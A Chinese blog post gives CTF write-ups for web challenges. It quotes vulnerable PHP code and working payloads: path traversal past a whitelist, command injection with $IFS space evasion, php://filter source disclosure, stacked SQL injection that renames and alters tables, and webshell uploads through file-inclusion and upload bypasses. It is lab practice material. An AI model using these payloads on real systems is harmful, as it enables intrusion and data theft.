TICPSH Week1

yansui Lv3

TICPSH Week1

控安周题

代码审计

[极客大挑战 2019]Havefun

F12看源码,给了注释:

1
2
3
4
5
6
7
8

<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->

payload:

/?cat=dog

[HCTF 2018]WarmUp

开局一张图 先看注释 再看备份

拿到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

从hint.php中知道 flag in ffffllllaaaagggg
四个f四个g 可能在暗示需要穿越四层目录

用?bypass白名单

payload:

/source.php?file=hint.php?/../../../../ffffllllaaaagggg

命令执行

[ACTF2020 新生赛]Exec

直接命令连接符号 & 或者 | 完成RCE即可

payload:

127.0.0.1 & cat ../../../flag

[GXYCTF 2019]Ping Ping Ping

使用;分割命令 使用$IFS$9代替空格 使用变量拼接过滤正则匹配

关于$IFS$9:

这里解释一下${IFS},$IFS,$IFS$9的区别,首先$IFS在linux下表示分隔符,只有cat$IFSa.txt的时候,bash解释器会把整个IFSa当做变量名,所以导致没有办法运行,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,而$9指的是当前系统shell进程的第九个参数的持有者,就是一个空字符串,因此$9相当于没有加东西,等于做了一个前后隔离。

payload:

/?ip=127.0.0.1;b=ag.php;cat$IFS$9fl$b

文件包含

[ACTF2020 新生赛]Include

UA写马,做日志文件包含,完成之后之间连蚁剑

[极客大挑战 2019]Secret File

抓个包就能看到代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>

直接filter伪协议试试:
payload:

/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

之后base64解码就行

文件上传

[极客大挑战 2019]Knife

这题明示用菜刀(蚁剑)连接跟路由了,密码Syc就行

[极客大挑战 2019]Upload

感觉像是经典的文件上传题目。不知道需要哪些bypass

有MIME验证
过滤<? 用 script方式
验证文件头 加 GIF89a

蚁剑连上即可

SQL注入

[极客大挑战 2019]EasySQL

直接万能密码即可

[强网杯 2019]随便注

堆叠注入

这题相当难
参考
https://www.cnblogs.com/sfsec/p/15203010.html

payload:

0’;rename table words to words1;rename table 1919810931114514 to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#

1’ or 1=1#

[SUCTF 2019]EasySQL

SQL注入真无聊啊 服了

payload:

*,1

[极客大挑战 2019]LoveSQL

手动嗯注

参考
http://yansui.xyz/2023/06/29/SQLi%E6%80%BB%E7%BB%93/

  • 标题: TICPSH Week1
  • 作者: yansui
  • 创建于: 2023-08-03 17:25:09
  • 更新于: 2023-08-03 17:27:01
  • 链接: http://yansui.xyz/2023/08/03/控安周赛/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
 评论